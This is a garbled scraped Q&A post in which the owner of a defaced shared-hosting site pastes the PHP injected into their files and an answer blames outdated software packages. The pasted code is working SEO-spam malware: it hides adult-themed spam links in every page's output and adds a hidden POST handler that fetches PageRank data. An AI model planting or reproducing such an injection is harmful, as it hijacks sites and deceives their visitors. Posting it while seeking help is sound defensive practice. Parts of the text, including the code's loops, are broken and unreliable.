php - my site got defaced. how to protect myself on shared hosting? -

i have godaddy shared hosting , site got defaced. @ fault? site created php possible person can in through vunerability on site , modify file? or through server side being godaddy wasnt secure enough?

this injected in file. do?

<?php //{{1311051f  global $alreadyxxx; if($alreadyxxx != 1) { $alreadyxxx = 1;  $olderrxxx=error_reporting(0);  function outputxxx_callback($str) {   $links = '<span style="font-style: normal; visibility: hidden; position: absolute; left: 0px; top: 0px;"><div id="rb4d41ca36473534443c002805"><a href="http://www.wcvi.org/community_development/ecogardners/fresh/blow-jobs-teen/blow-jobs-teen.html">blow jobs teen</a><br></div></span>';   preg_match("|</body>|si",$str,$arr);   return str_replace($arr[0],$links.$arr[0],$str); }  function strtonum($str, $check, $magic) {    $int32unit = 4294967296;    $length = strlen($str);    ($i = 0; $i < $length; $i++) {        $check *= $magic;        if ($check >= $int32unit) {            $check = ($check - $int32unit * (int) ($check / $int32unit));            $check = ($check < -2147483648) ? ($check + $int32unit) : $check;        }        $check += ord($str{$i});    }    return $check; } function hashurl($string) {    $check1 = strtonum($string, 0x1505, 0x21);    $check2 = strtonum($string, 0, 0x1003f);     $check1 >>= 2;    $check1 = (($check1 >> 4) & 0x3ffffc0 ) | ($check1 & 0x3f);    $check1 = (($check1 >> 4) & 0x3ffc00 ) | ($check1 & 0x3ff);    $check1 = (($check1 >> 4) & 0x3c000 ) | ($check1 & 0x3fff);     $t1 = (((($check1 & 0x3c0) << 4) | ($check1 & 0x3c)) <<2 ) | ($check2 & 0xf0f );    $t2 = (((($check1 & 0xffffc000) << 4) | ($check1 & 0x3c00)) << 0xa) | ($check2 & 0xf0f0000 );     return ($t1 | $t2); }  function checkhash($hashnum) {    $checkbyte = 0;    $flag = 0;     $hashstr = sprintf('%u', $hashnum) ;    $length = strlen($hashstr);     ($i = $length-1; $i >= 0;  $i--) {        $re = $hashstr{$i};        if (1 === ($flag % 2)) {            $re += $re;            $re = (int)($re / 10) + ($re % 10);        }        $checkbyte += $re;        $flag ++;    }     $checkbyte %= 10;    if (0 !== $checkbyte) {        $checkbyte = 10 - $checkbyte;        if (1 === ($flag % 2) ) {            if (1 === ($checkbyte % 2)) {                $checkbyte += 9;            }            $checkbyte >>= 1;        }    }     return '7'.$checkbyte.$hashstr; }  function getpr($url) {    $ch = checkhash(hashurl($url));    $file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=rank&q=info:$url";;    $data = file_get_contents($file);    $pos = strpos($data, "rank_");    if($pos === false){return -1;} else{        $pr=substr($data, $pos + 9);        $pr=trim($pr);        $pr=str_replace(" ",'',$pr);        return $pr;    } }  if(isset($_post['xxxprch'])) {     echo getpr($_post['xxxprch']);     exit(); } else   ob_start('outputxxx_callback');  error_reporting($olderrxxx); }  //}}75671d8f ?> 

chances exploit package use on site (such phpbb, phpnuke, etc.) people crawl web looking vulnerable hosts , exploit ones can. code open-source , readily available there's not can protection other use latest version.

companies packetstormsecurity make easy "skript kiddies" find poc (proof of concept) script , take upon try on every site can. easy crafted google query find list of potential targets.

you may able through logs url resulted in exploit, best-case scenario stay up-to-date possible, , never rely on host make restore-able backups of site.